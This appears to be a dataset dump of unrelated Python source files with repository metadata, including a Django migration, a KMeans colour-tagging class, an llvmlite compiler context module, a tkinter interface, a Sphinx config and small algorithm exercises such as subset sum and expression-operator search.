# Generated by Django 2.2.3 on 2019-07-05 07:56 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('web', '0001_initial'), ] operations = [ migrations.CreateModel( name='Income', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('text', models.CharField(max_length=255)), ('date', models.DateTimeField()), ('amount', models.BigIntegerField()), ('user', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, to=settings.AUTH_USER_MODEL)), ], ), ]
e6ffa0af18975bc4140bb2a0fd222509374d096d
174975248ffa04bb0339ace7475a791842e99ffb
/reverse_bits.py
141244053c843ee9fa1eb7c73d05ab32903b8c86
[]
no_license
KONAPAVANKUMAR/code-library
87a5525dcf71aaba47f233df17ad31227cb3c44b
6839ef596858515119a3c300b031a107c8d72292
refs/heads/main
2023-06-02T09:33:21.382512
2021-06-24T09:49:00
2021-06-24T09:49:00
378,131,322
0
0
null
2021-06-24T09:41:12
2021-06-18T11:39:22
Python
UTF-8
Python
false
false
415
py
def get_reverse_bit_string(number: int) -> str: bit_string = "" for _ in range(0, 32): bit_string += str(number % 2) number = number >> 1 return bit_string def reverse_bit(number): result = 0 for _ in range(1, 33): result = result << 1 end_bit = number % 2 number = number >> 1 result = result | end_bit return get_reverse_bit_string(result)
9a2930492647fe490bf485ff55258371f5687191
3a63a9af2693b7d2f87a6d2db0585d8ce5480934
/vision-vgg_objects.py
3eb6277cd8e7d427d5a26d0fbd15066c271bf1e7
[]
no_license
andreeadeac22/HackCam2018
d167f71069c6fe529f1e88dd92e31794b64e6773
0bb529b0d0cc11583722107b7125eb0671ca149a
refs/heads/master
2021-05-09T09:45:34.945701
2018-01-30T00:21:57
2018-01-30T00:21:57
119,458,996
0
0
null
null
null
null
UTF-8
Python
false
false
863
py
import torch from torch.autograd import Variable as V import torchvision.models as models from torchvision.models.vgg import vgg16 from torchvision import transforms as trn from torch.nn import functional as F from PIL import Image def image_to_objects(img_name): model = vgg16(pretrained=True) model.eval() # load the image transformer centre_crop = trn.Compose([ trn.Resize((256,256)), trn.CenterCrop(224), trn.ToTensor(), trn.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]) ]) # load the class label file_name = 'categories_imagenet.txt' img = Image.open(img_name) input_img = V(centre_crop(img).unsqueeze(0)) # forward pass logit = model.forward(input_img) h_x = F.softmax(logit, 1).data.squeeze() return h_x print(image_to_objects("arch.jpeg"))
db4aa44c038f542b1cfbd7f627f200451105a7f6
b6d40ed73a6c6923464759ad1a2350a27132b9a5
/observe/observe_ckpt.py
4ffc6000310dabe54da90cfd560d64bd92a1cc17
[ "MIT" ]
permissive
samirsahoo007/Audio-and-Speech-Processing
ccc83bc1f110d46ce73dfc83cce69bd55df5c6d8
e77df17a7f63a983c3757140c7a1e8c199cac614
refs/heads/master
2022-10-17T23:42:57.369971
2020-01-04T12:22:13
2020-01-04T12:22:13
231,758,271
4
0
MIT
2022-09-30T19:55:35
2020-01-04T12:20:46
Python
UTF-8
Python
false
false
142
py
import sys import torch from utils import timer from ipdb import set_trace ckpt_path = sys.argv[1] ckpt = torch.load(ckpt_path) set_trace()
3c5be25c7266dbe9dc31662fbd3a7bed4a410f80
7a161c0ee14aeb9252243cb49ed05398b691d9f3
/subset sum python problem.py
214bc3c9e77cde345530264c4838bb477e777e99
[]
no_license
pavleen14/DSA-Practice
0a71d34a24635a9dc6714db95e2d71010fb5a70e
b5637e7b8512aa1f93841f372c7505152a156a29
refs/heads/main
2023-09-02T21:37:27.413673
2021-11-01T06:39:56
2021-11-01T06:39:56
415,584,545
0
0
null
null
null
null
UTF-8
Python
false
false
412
py
def subsetsum(sset, n, s): if s == 0: return True if n == 0: return False if sset[n - 1] > s: return subsetsum(sset, n - 1, s) return subsetsum(sset, n - 1, s) or subsetsum(sset, n - 1, s - sset[n - 1]) sset = [13, 34, 65, 12, 43, 1] s = 77 n = len(sset) if subsetsum(sset, n, s): print("Found a subset with given sum") else: print("No subset with given sum")
189ea70cf6263752fbb5770412f416730ce1b1e9
e9a14806435ec8666fe240e252d4f8e4e9113238
/context.py
f4e6840b1ce8dd17820deb9793395246418a02d3
[]
no_license
jonpry/E
a8b1537dfcdac5129ddf33cac1bc747ba1ca56fc
ffec9f990982c05a89fc819ed73e9b73e9cf1a2c
refs/heads/master
2020-12-02T19:28:01.385899
2017-10-15T05:31:55
2017-10-15T05:31:55
96,343,870
1
0
null
null
null
null
UTF-8
Python
false
false
9,673
py
# -*- coding: utf-8 -*- import copy import sys import traceback from llvmlite import ir from collections import OrderedDict import emit context = {} cstack = [] package = "" def is_pointer(var): if isinstance(var,ir.Type): st = var else: st = var.type return st.is_pointer class funcs: funcs = {} func_stack = [] @staticmethod def push(func): funcs.func_stack.append(func) @staticmethod def pop(): funcs.func_stack.pop() @staticmethod def current(): return funcs.func_stack[-1] @staticmethod def create(name,d): assert(name not in funcs.funcs) funcs.funcs[name] = d; @staticmethod def get_native(name): for f,v in funcs.funcs.items(): if v['func'].name == name: return v['func'] return None @staticmethod def get(name): if name in funcs.funcs: return funcs.funcs[name] class globals: globals = {} @staticmethod def create(name,val): assert(name not in globals.globals) globals.globals[name] = val; @staticmethod def get(name): return globals.globals[name] class thiss: thiss = [] @staticmethod def push(this): thiss.thiss.append(this) @staticmethod def pop(): thiss.thiss.pop() class breaks: breaks = [] @staticmethod def push(tgt): breaks.breaks.append(tgt) @staticmethod def pop(): breaks.breaks.pop() @staticmethod def get(): return breaks.breaks[-1] class continues: continues = [] @staticmethod def push(tgt): continues.continues.append(tgt) @staticmethod def pop(): continues.continues.pop() @staticmethod def get(): return continues.continues[-1] class classs: clzs = [] clz = {'class_members' : {}} class_stack = [{}] @staticmethod def set_type(t,s,name): global package classs.clz['class_type'] = t; classs.clz['static_type'] = s; classs.clz['class_name'] = package + "." + name; @staticmethod def fqid(): return classs.clz['class_name'] @staticmethod def new(): classs.clz = {'class_members' : {}, 'inherited_members' : {}, "static_members" : {}, 'extends' : None, 'class_type' : None, "static_type" : None, 'alloc_type' : None, 'constructor' : None, 'class_name' : '', 'static_init' : None, 'init' : None} classs.clzs.append(classs.clz) return classs.clz @staticmethod def push(name): classs.clz = classs.get_class(name) if classs.clz == None: classs.clz = classs.new() classs.class_stack.append(classs.clz) @staticmethod def pop(): classs.class_stack.pop() clz = classs.class_stack[-1] @staticmethod def set_constructor(func): classs.clz['constructor'] = func @staticmethod def set_extends(sup): classs.clz['extends'] = sup @staticmethod def get_extends(): return classs.clz['extends'] @staticmethod def get_type(cl,module,static): if static: if cl['static_type'] != None: return cl['static_type'] else: if cl['class_type'] != None: return cl['class_type'] t = module.context.get_identified_type(cl['class_name']) types = classs.get_member_types(cl,module,False) t.set_body(*types) cl['class_type'] = t s = module.context.get_identified_type(cl['class_name'] + ".#static") types = classs.get_member_types(cl,module,True) s.set_body(*types) cl['static_type'] = s return classs.get_type(cl,module,static) @staticmethod def get_class_fq(ident): for cls in classs.clzs: if cls["class_name"] == ident: return cls return None @staticmethod def get_class(ident): global package c = classs.get_class_fq(ident) if c != None: return c ident = package + "." + ident return classs.get_class_fq(ident) @staticmethod def get_class_type(ident,module): cls = classs.get_class(ident) return classs.get_type(cls,module,False) @staticmethod def create_member(t,name,static): if static: assert(name not in classs.clz['static_members']) classs.clz['static_members'][name] = t else: assert(name not in classs.clz['class_members']) classs.clz['class_members'][name] = t @staticmethod def get_member_types(clz,module,static): src = "class_members" if static: src = "static_members" t = [] if not static: if clz['extends'] != None: t.append(classs.get_type(clz['extends'],module,static)) else: t.append(emit.rtti_type) for k,v in clz[src].items(): t.append(v) return t @staticmethod def set_static_init(func): classs.clz['static_init'] = func @staticmethod def set_init(func): classs.clz['init'] = func @staticmethod def get_static_init(): return classs.clz['static_init'] @staticmethod def get_init(): return classs.clz['init'] def set_package(p): global package package = p def gep(ptr,this,var,builder,static): #print traceback.print_stack() src = "static_members" if static else "class_members" if var in this[src]: i = this[src].keys().index(var) if static == False: i += 1 return builder.gep(ptr,[ir.Constant(ir.IntType(32),0),ir.Constant(ir.IntType(32),i)]) if not static and var in this['inherited_members']: chain = this['inherited_members'][var] cchain = [ir.Constant(ir.IntType(32),0)] for e in chain: cchain.append(ir.Constant(ir.IntType(32),e)) ptr = builder.gep(ptr,cchain) this = classs.get_class(ptr.type.pointee.name) return gep(ptr,this,var.split(".")[-1],builder,static) def get_one(var,obj,objclz,builder): global context if var in context: return context[var] #print objclz #print var if funcs.get(var) != None: #print "png" return {'func' : funcs.get(var), 'this' : None} if objclz == None: return None fq = objclz["class_name"] + "." + var #print var #print objclz #print fq sys.stdout.flush() # if fq in globals.globals: # return globals.globals[fq] if funcs.get(fq) != None: return {'func' : funcs.get(fq), 'this': obj} if var in objclz["static_members"]: return gep(globals.get("#static." + objclz["class_name"]),objclz,var,builder, True) if obj==None: return None return gep(obj,objclz,var,builder, False) def get_one_poly(var,obj,objclz,builder): t = get_one(var,obj,objclz,builder) if t != None: return t if objclz['extends'] != None: v = get_one(var,obj,objclz['extends'],builder) if v!=None: return v return get_one_poly(var,obj,objclz['extends'],builder) def get_no_length(var,builder,test): thistype = classs.clz if len(thiss.thiss) == 0 or thiss.thiss[-1] == None: thisvar = None else: thisvar = thiss.thiss[-1] if test: print "type" print var t = get_one_poly(var,thisvar,thistype,builder) if t != None: return t var = var.split(".") for i in range(len(var)): v = var[i] e = get_one_poly(v,thisvar,thistype,builder) if i == (len(var) - 1): if e == None and i==0: return classs.get_class_fq(package + "." + v) return e if e == None and i==0: #could be a class name thistype = classs.get_class_fq(package + "." + v) else: thisvar = e thistype = classs.get_class_fq(e.type.pointee.name) def get(var,builder=None,test=False): var = var.split(".") if var[-1] == "length": var = ".".join(var[:-1]) ary = get_no_length(var,builder,test) return emit.get_array_length(ary,builder) var = ".".join(var) return get_no_length(var,builder,test) def set(var, val, builder=None): if var in context: context[var] = val return assert(False) def create(var,v): global context assert(var not in context) context[var] = v def items(): global context return context.items() def current(): global context return context.copy() def push(deep,force=None): #print "push" global context global cstack if force != None: ret = force.copy() context=force.copy() elif deep: ret = copy.deepcopy(context) else: ret = context.copy() cstack.append(ret) return ret.copy() #returns items in both a and b that are different def different_in(a,b): ret = [] for k,v in a.items(): if k in b: if v != b[k]: ret.append( (k,v,b[k]) ) return ret #returns items that went out of scope def removed_in(a,b): ret = [] for k,v in a.items(): if k not in b: ret.append( (k,v) ) return ret def pop(builder): global context global cstack #print "pop" ret = context.copy() context = cstack.pop().copy() #pop can only clear variables from scope, not change meaning for k,v, nv in different_in(context,ret): context[k] = nv diff = removed_in(ret,context) for n,t in diff: if '.bb.' in n: continue #TODO: enoimpl if is_pointer(t): #print (n,t) if not isinstance(t,ir.Argument): emit.emit_lifetime(t,1,'end',builder) return (context.copy(),diff) nakeds = [] def naked(v): nakeds.append(v) def get_naked(v): for vis in nakeds: if v == vis: nakeds.remove(vis) return vis
90efc2d698bbd5551213318accc27bd6f924e258
b7799e8cb21cb2d4c0a526a6f9395a3c620514f9
/Tagging/KMeans.py
a5225641d480ed11c287e9a13d3760b89448fd5c
[]
no_license
Sivler9/IA_PR2_Color_Tagging
cc664eb2ac24c18612970f0dea5b042d6d9ebe89
1148a205c5e2fca32ffbaa832efe4dbb54ecb03a
refs/heads/master
2020-03-13T07:47:36.215000
2018-05-29T20:31:51
2018-05-29T20:31:51
131,031,661
1
0
null
2018-05-15T07:38:21
2018-04-25T16:04:53
Python
UTF-8
Python
false
false
15,838
py
""" @author: ramon, bojana """ import numpy as np import matplotlib.pyplot as plt import mpl_toolkits.mplot3d.axes3d as axes3d from sklearn.decomposition import PCA from sklearn.metrics.pairwise import euclidean_distances from sklearn.metrics.pairwise import pairwise_distances_argmin import sklearn.metrics as metricas import scipy import scipy.cluster.vq import scipy.spatial.distance from sklearn.cluster import KMeans as camins def gap(data, nrefs=3, maxClusters=15): """ Calculates KMeans optimal K using Gap Statistic from Tibshirani, Walther, Hastie Params: data: ndarry of shape (n_samples, n_features) nrefs: number of sample reference datasets to create maxClusters: Maximum number of clusters to test for Returns: (optimalK) """ gaps = np.zeros((len(range(1, maxClusters)),)) for gap_index, k in enumerate(range(1, maxClusters)): # Holder for reference dispersion results refDisps = np.zeros(nrefs) # For n references, generate random sample and perform kmeans getting resulting dispersion of each loop for i in range(nrefs): # Create new random reference set randomReference = np.random.random_sample(size=data.shape) # Fit to it km = camins(k) km.fit(randomReference) refDisp = km.inertia_ refDisps[i] = refDisp # Fit cluster to original data and create dispersion km = camins(k) km.fit(data) origDisp = km.inertia_ # Calculate gap statistic gap = np.mean(np.log(refDisps)) - np.log(origDisp) # Assign this loop's gap statistic to gaps gaps[gap_index] = gap return gaps.argmax() + 1 # Plus 1 because index of 0 means 1 cluster is optimal, index 2 = 3 clusters are optimal def distance(X, C): """@brief Calculates the distance between each pixcel and each centroid @param X numpy array PxD 1st set of data points (usually data points) @param C numpy array KxD 2nd set of data points (usually cluster centroids points) @return dist: PxK numpy array position ij is the distance between the i-th point of the first set an the j-th point of the second set """ return euclidean_distances(X,C) class KMeans(): def __init__(self, X, K, options=None): """@brief Constructor of KMeans class @param X LIST input data @param K INT number of centroids @param options DICT dctionary with options """ self._init_X(X) # LIST data coordinates self._init_options(options) # DICT options self._init_rest(K) # Initializes de rest of the object ############################################################# ## THIS FUNCTION CAN BE MODIFIED FROM THIS POINT, if needed ############################################################# def _init_X(self, X): """@brief Initialization of all pixels @param X LIST list of all pixel values. Usually it will be a numpy array containing an image NxMx3 sets X an as an array of data in vector form (PxD where P=N*M and D=3 in the above example) """ if len(X.shape) >= 3: self.X = X.reshape(-1, X.shape[2]).astype(np.float64) else: self.X = np.copy(X.astype(np.float64)) def _init_options(self, options): """@brief Initialization of options in case some fields are left undefined @param options DICT dctionary with options sets de options parameters """ if options == None: options = {} if not 'km_init' in options: options['km_init'] = 'first' if not 'verbose' in options: options['verbose'] = False if not 'tolerance' in options: options['tolerance'] = 0 if not 'max_iter' in options: options['max_iter'] = np.inf if not 'fitting' in options: options['fitting'] = 'Fisher' self.options = options ############################################################# ## THIS FUNCTION CAN BE MODIFIED FROM THIS POINT, if needed ############################################################# def _init_rest(self, K): """@brief Initialization of the remainig data in the class. @param options DICT dctionary with options """ self.K = K # INT number of clusters if self.K > 0: self._init_centroids() # LIST centroids coordinates self.old_centroids = np.empty_like(self.centroids) # LIST coordinates of centroids from previous iteration self.clusters = np.zeros(len(self.X)) # LIST list that assignes each element of X into a cluster self._cluster_points() # sets the first cluster assignation self.num_iter = 0 # INT current iteration ############################################################# ## THIS FUNCTION CAN BE MODIFIED FROM THIS POINT, if needed ############################################################# def _init_centroids(self): """@brief Initialization of centroids depends on self.options['km_init'] """ if self.options['km_init'].lower() == 'first': unique, index = np.unique(self.X,axis=0, return_index=True) index = np.sort(index) self.centroids = np.array(self.X[index[:self.K]]) elif self.options['km_init'].lower() == 'custom': self.centroids = np.zeros((self.K,self.X.shape[1])) for k in range(self.K): self.centroids[k,:] = k*255/(self.K-1) elif self.options['km_init'] == 'kmeans++': self.centroids = camins(n_clusters=self.K, init='k-means++', n_init=1, max_iter=1).fit(self.X).cluster_centers_ else: maxtmp = self.X.max(axis=0) mintmp = self.X.min(axis=0) centroids = np.zeros((self.X.shape[1],self.K)) for i in range(self.X.shape[1]): centroids[i] = np.random.uniform(low=mintmp[i],high=maxtmp[i],size=self.K) self.centroids = np.array(centroids.transpose()) def _cluster_points(self): """@brief Calculates the closest centroid of all points in X """ self.clusters = pairwise_distances_argmin(self.X, self.centroids) def _get_centroids(self): """@brief Calculates coordinates of centroids based on the coordinates of all the points assigned to the centroid """ self.old_centroids = np.copy(self.centroids) self.centroids = np.array([self.X[self.clusters == i].mean(0) for i in range(self.K)]) if np.isnan(self.centroids).any(): mask = np.where(np.isnan(self.centroids).all(axis=1))[0] self.centroids[mask] = self.old_centroids[mask] def _converges(self): """@brief Checks if there is a difference between current and old centroids """ return np.allclose(self.centroids, self.old_centroids, self.options['tolerance']) def _iterate(self, show_first_time=True): """@brief One iteration of K-Means algorithm. This method should reassigne all the points from X to their closest centroids and based on that, calculate the new position of centroids. """ self.num_iter += 1 self._cluster_points() self._get_centroids() if self.options['verbose']: self.plot(show_first_time) def run(self): """@brief Runs K-Means algorithm until it converges or until the number of iterations is smaller than the maximum number of iterations.= """ if self.K == 0: self.bestK() return self._iterate(True) self.options['max_iter'] = np.inf if self.options['max_iter'] > self.num_iter: while not self._converges(): self._iterate(False) def bestK(self): """@brief Runs K-Means multiple times to find the best K for the current data given the 'fitting' method. In cas of Fisher elbow method is recommended. at the end, self.centroids and self.clusters contains the information for the best K. NO need to rerun KMeans. @return B is the best K found. """ ####################################################### ## YOU MUST REMOVE THE REST OF THE CODE OF THIS FUNCTION ## AND CHANGE FOR YOUR OWN CODE ####################################################### centroids = [] clusters = [] bestk = 4 #self.options['fitting'] ='gap' if self.options['fitting'].lower() == 'jump': return self.jumpMethod(clusters,centroids) elif self.options['fitting'].lower() == 'gap': bestk = gap(self.X, maxClusters=14) self._init_rest(bestk) self.run() return bestk elif self.options['fitting'].lower() == 'fisher': bestk, center = -1, [] fit, threshold = np.inf, 2.3 self._init_rest(2) self.run() center.append([self.fitting(), self.centroids, self.clusters]) self._init_rest(3) self.run() center.append([self.fitting(), self.centroids, self.clusters]) for k in xrange(4, 13 + 1): self._init_rest(k) self.run() center.append([self.fitting(), self.centroids, self.clusters]) if (center[-3][0] - center[-2][0]) > (center[-2][0] - center[-1][0])*threshold: self.centroids, self.clusters = center[-2][1:] bestk = k - 1 break else: bestk = 4 self.centroids, self.clusters = center[bestk-2][1:] self.K = bestk return bestk else: scores = [] for k in range(2,14): self._init_rest(k) self.run() scores.append(self.fitting()) centroids.append(self.centroids) clusters.append(self.clusters) if self.options['fitting'].lower() == 'calinski' or self.options['fitting'].lower() == 'silhouette': bestk = np.argmax(scores)+2 self.centroids = centroids[bestk-2] self.clusters = clusters[bestk-2] self.K = bestk return bestk def fitting(self): """@brief return a value describing how well the current kmeans fits the data """ if self.K == 1: return 1 elif self.options['fitting'].lower() == 'fisher' and self.K > 1: return 1/(metricas.calinski_harabaz_score(self.X, self.clusters)*(self.K -1)/(self.X.shape[0]-self.K)) #calinski = (Between_Variance/Whithin_Variance)*(N-k)/(K-1) elif self.options['fitting'].lower() == 'silhouette': return metricas.silhouette_score(self.X,self.clusters) elif self.options['fitting'].lower() == 'calinski': return metricas.calinski_harabaz_score(self.X, self.clusters) else: return np.random.rand(1) def jumpMethod(self, clusters, centroids): data = self.X # dimension of 'data'; data.shape[0] would be size of 'data' p = data.shape[1] # vector of variances (1 by p) #using squared error rather than Mahalanobis distance' (SJ, p. 12) sigmas = np.var(data, axis=0) ## by following the authors we assume 0 covariance between p variables (SJ, p. 12) # start with zero-matrix (p by p) Sigma = np.zeros((p, p), dtype=np.float32) # fill the main diagonal with variances for np.fill_diagonal(Sigma, val=sigmas) # calculate the inversed matrix Sigma_inv = np.linalg.inv(Sigma) cluster_range = range(1, 13 + 1) distortions = np.repeat(0, len(cluster_range) + 1).astype(np.float32) # for each k in cluster range implement for k in cluster_range: # initialize and fit the clusterer giving k in the loop self._init_rest(k) self.run() centroids.append(self.centroids) clusters.append(self.clusters) # calculate centers of suggested k clusters centers = self.centroids # since we need to calculate the mean of mins create dummy vec for_mean = np.repeat(0, len(data)).astype(np.float32) # for each observation (i) in data implement for i in range(len(data)): # dummy for vec of distances between i-th obs and k-center dists = np.repeat(0, k).astype(np.float32) # for each cluster in KMean clusters implement for cluster in range(k): # calculate the within cluster dispersion tmp = np.transpose(data[i] - centers[cluster]) #using squared error rather than Mahalanobis distance' (SJ, p. 12) dists[cluster] = tmp.dot(Sigma_inv).dot(tmp) #dists[cluster] = tmp.dot(tmp) # take the lowest distance to a class for_mean[i] = min(dists) # take the mean for mins for each observation distortions[k] = np.mean(for_mean) / p Y = p / 2 # the first (by convention it is 0) and the second elements jumps = [0] + [distortions[1] ** (-Y) - 0] jumps += [distortions[k] ** (-Y) \ - distortions[k-1] ** (-Y) \ for k in range(2, len(distortions))] # calculate recommended number of clusters bestK = np.argmax(np.array(jumps)) self.centroids = centroids[bestK-1] self.clusters = clusters[bestK-1] self.K = bestK """plt.figure(2) plt.cla() plt.plot(range(16),jumps) plt.xlabel('K') plt.ylabel('fitting score') plt.draw() plt.pause(20)""" return bestK def plot(self, first_time=True): """@brief Plots the results """ # markersshape = 'ov^<>1234sp*hH+xDd' markerscolor = 'bgrcmybgrcmybgrcmyk' if first_time: plt.gcf().add_subplot(111, projection='3d') plt.ion() plt.show() if self.X.shape[1] > 3: if not hasattr(self, 'pca'): self.pca = PCA(n_components=3) self.pca.fit(self.X) Xt = self.pca.transform(self.X) Ct = self.pca.transform(self.centroids) else: Xt = self.X Ct = self.centroids for k in range(self.K): plt.gca().plot(Xt[self.clusters == k, 0], Xt[self.clusters == k, 1], Xt[self.clusters == k, 2], '.' + markerscolor[k]) plt.gca().plot(Ct[k, 0:1], Ct[k, 1:2], Ct[k, 2:3], 'o' + 'k', markersize=12) if first_time: plt.xlabel('dim 1') plt.ylabel('dim 2') plt.gca().set_zlabel('dim 3') plt.draw() plt.pause(0.01)
0d59d8d0b71b7c382e97d7b56015fbfbbafc69d8
0227dab8e222d908d02d54ad13ec88b7f1f9ac1f
/AUTOMATAPROYECT-master/Front.py
2d287391253e9ad5e29a2cb2152e4ae740d4d192
[]
no_license
OrlandoMR/Automatas
8c3a3e1fc3f45f6239a24ab2b03a5102b18a1a32
a1213bf3ca6b7803d0aa82ce52947a86d31e0eca
refs/heads/master
2021-10-25T10:01:25.564466
2019-04-03T19:47:59
2019-04-03T19:47:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,548
py
from tkinter import * import os #Interfaz gŕafica #root widget root = Tk() root.title("Titulo de la historia") root.resizable(False,False) root.configure(bg="black") #FirstFrame Creation myFrame = Frame(root,width=500, height=400) myFrame.pack() myFrame.config(width="650", height="350") myFrame.config(bd= 8,bg = "black") myFrame.config(relief = "groove") #LabelFirstText textLabel = Label(myFrame, text="Hubo una época donde energía era sinónimo de suciedad," + " encender las luces una importante elección, \nlas ciudades tenían apagones"+ " y los autos quemaban combustible para funcionar..." , bg = "black", fg = "white", font=("Arial Unicode MS",15)) textLabel.grid(row= 0,column=1, padx=10, pady = 10) #Image img = PhotoImage(file='files/fondo.gif')#Reemplazar por función que pondra la imagen dependiendo del estado imageLabel = Label(myFrame, image = img) imageLabel.grid(row= 1,column=1, padx=10, pady = 10) #Action Buttons def actionYesButton(): print("Holaaaaa") def actionNoButton(): print("AntiHola") #Buttons buttonNo = Button(myFrame, text="NO", bg = "black", fg = "green", font = (20), width = 7, height =5, command = actionNoButton) buttonNo.grid(row = 2,column = 0, padx = 10, pady = 10) buttonYes = Button(myFrame, text="YES", bg = "black", fg = "green", font = (20),width = 7, height =5, command = actionYesButton) buttonYes.grid(row = 2, column = 3, padx = 10, pady = 10) root.mainloop()
e3ad3b767fbd0d6d7edf4729792f6b837616eec6
fea389d72e4e458c183ca40ab695d46bc5da5015
/OMG/source/conf.py
5fa8d544b7b569b693f643fdf2e2ce745b869795
[]
no_license
zhangdaoxun/ON-MY-GENE
dfae4f3f135215edb65f79ac6b11f5c7b7405bab
674819e65894de4ed283649dd9fce66596b73831
refs/heads/master
2020-05-02T12:56:12.902829
2019-06-06T13:45:16
2019-06-06T13:45:16
177,971,218
0
0
null
null
null
null
UTF-8
Python
false
false
5,225
py
# -*- coding: utf-8 -*- # # Configuration file for the Sphinx documentation builder. # # This file does only contain a selection of the most common options. For a # full list see the documentation: # http://www.sphinx-doc.org/en/master/config # -- Path setup -------------------------------------------------------------- # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. # # import os # import sys # sys.path.insert(0, os.path.abspath('.')) # -- Project information ----------------------------------------------------- project = 'omg' copyright = '2019, zhangxun' author = 'zhangxun' # The short X.Y version version = '' # The full version, including alpha/beta/rc tags release = '' # -- General configuration --------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. # # needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ ] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: # # source_suffix = ['.rst', '.md'] source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. # # This is also used if you do content translation via gettext catalogs. # Usually you set "language" from the command line for these cases. language = None # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path. exclude_patterns = [] # The name of the Pygments (syntax highlighting) style to use. pygments_style = None # -- Options for HTML output ------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. # html_theme = "sphinx_rtd_theme" # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. # # html_theme_options = {} # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['_static'] # Custom sidebar templates, must be a dictionary that maps document names # to template names. # # The default sidebars (for documents that don't match any pattern) are # defined by theme itself. Builtin themes are using these templates by # default: ``['localtoc.html', 'relations.html', 'sourcelink.html', # 'searchbox.html']``. # # html_sidebars = {} # -- Options for HTMLHelp output --------------------------------------------- # Output file base name for HTML help builder. htmlhelp_basename = 'omgdoc' # -- Options for LaTeX output ------------------------------------------------ latex_elements = { # The paper size ('letterpaper' or 'a4paper'). # # 'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). # # 'pointsize': '10pt', # Additional stuff for the LaTeX preamble. # # 'preamble': '', # Latex figure (float) alignment # # 'figure_align': 'htbp', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, # author, documentclass [howto, manual, or own class]). latex_documents = [ (master_doc, 'omg.tex', 'omg Documentation', 'zhangxun', 'manual'), ] # -- Options for manual page output ------------------------------------------ # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ (master_doc, 'omg', 'omg Documentation', [author], 1) ] # -- Options for Texinfo output ---------------------------------------------- # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ (master_doc, 'omg', 'omg Documentation', author, 'omg', 'One line description of project.', 'Miscellaneous'), ] # -- Options for Epub output ------------------------------------------------- # Bibliographic Dublin Core info. epub_title = project # The unique identifier of the text. This can be a ISBN number # or the project homepage. # # epub_identifier = '' # A unique identification for the text. # # epub_uid = '' # A list of files that should not be packed into the epub file. epub_exclude_files = ['search.html']
39802ef9bbb151ce9bc58a14a2eb6a04f2102cd3
89186f602196897d7fcbf4d1546b01316685e69a
/algorithem/expression_add_operation.py
386afe36c79030b8e768d03586049b6eb8237522
[]
no_license
xxpasswd/algorithms-and-data-structure
dfc25d0d4ac25ef7b138f6b1ad725c0832a0c2ee
1868e660fcee4017307c335df105e5d3028f4166
refs/heads/master
2022-01-18T12:58:00.042361
2019-07-17T08:13:19
2019-07-17T08:13:19
110,533,692
1
1
null
null
null
null
UTF-8
Python
false
false
1,334
py
''' 给定一组数字,给这组数字中,添加+,-,*,使最后表达式的结果等于特定值 解决思路: 使用递归遍历所有的情况 ''' def expression_add_operators(nums,target): out = [] helper(nums,target,0,0,0,'',out) return out def helper(nums,target,pos,pre,pre_num,path,out): ''' nums:候选数字 target:目标值 pos:下一个数字开始的索引 pre:前一次计算的值 pre_num:前一个数字 path:已经过的运算路径 out:保存输出结果的列表 ''' # 判断路径的结果,是否满足条件,满足条件则添加到结果集中 if pos == len(nums): if pre == target: out.append(path) return elif pos == 0: # 注意i+1这儿 for i in range(pos,len(nums)): cur = int(nums[pos:i+1]) helper(nums,target,i+1,cur,cur,path + str(cur),out) else: for i in range(pos,len(nums)): cur = int(nums[pos:i+1]) helper(nums,target,i+1,pre+cur,cur,path + '+' + str(cur),out) helper(nums,target,i+1,pre-cur,-cur,path + '-' + str(cur),out) helper(nums,target,i+1,pre-pre_num+pre_num*cur,pre_num*cur,path + '*' + str(cur),out) nums = '123456' target = 0 print(expression_add_operators(nums,target))
a52172f6e1c94d9bfe28ca0fbf6d6d6a3854c70e
cf522d29d40c2e8a780165cff7302922db5e82a4
/jscribe/conf/pythontagsettings.py
9a3ca51ddb06a20fab093fb298f24e97b90f094c
[ "BSD-3-Clause" ]
permissive
mindbrave/jscribe
3bd8eec23fd9ae839795d1b5fbf603e72fa90362
4d524a9f60b35fefbfe65c60717abcb8bce259c9
refs/heads/master
2020-05-24T15:45:13.177447
2014-01-31T00:45:49
2014-01-31T00:45:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,052
py
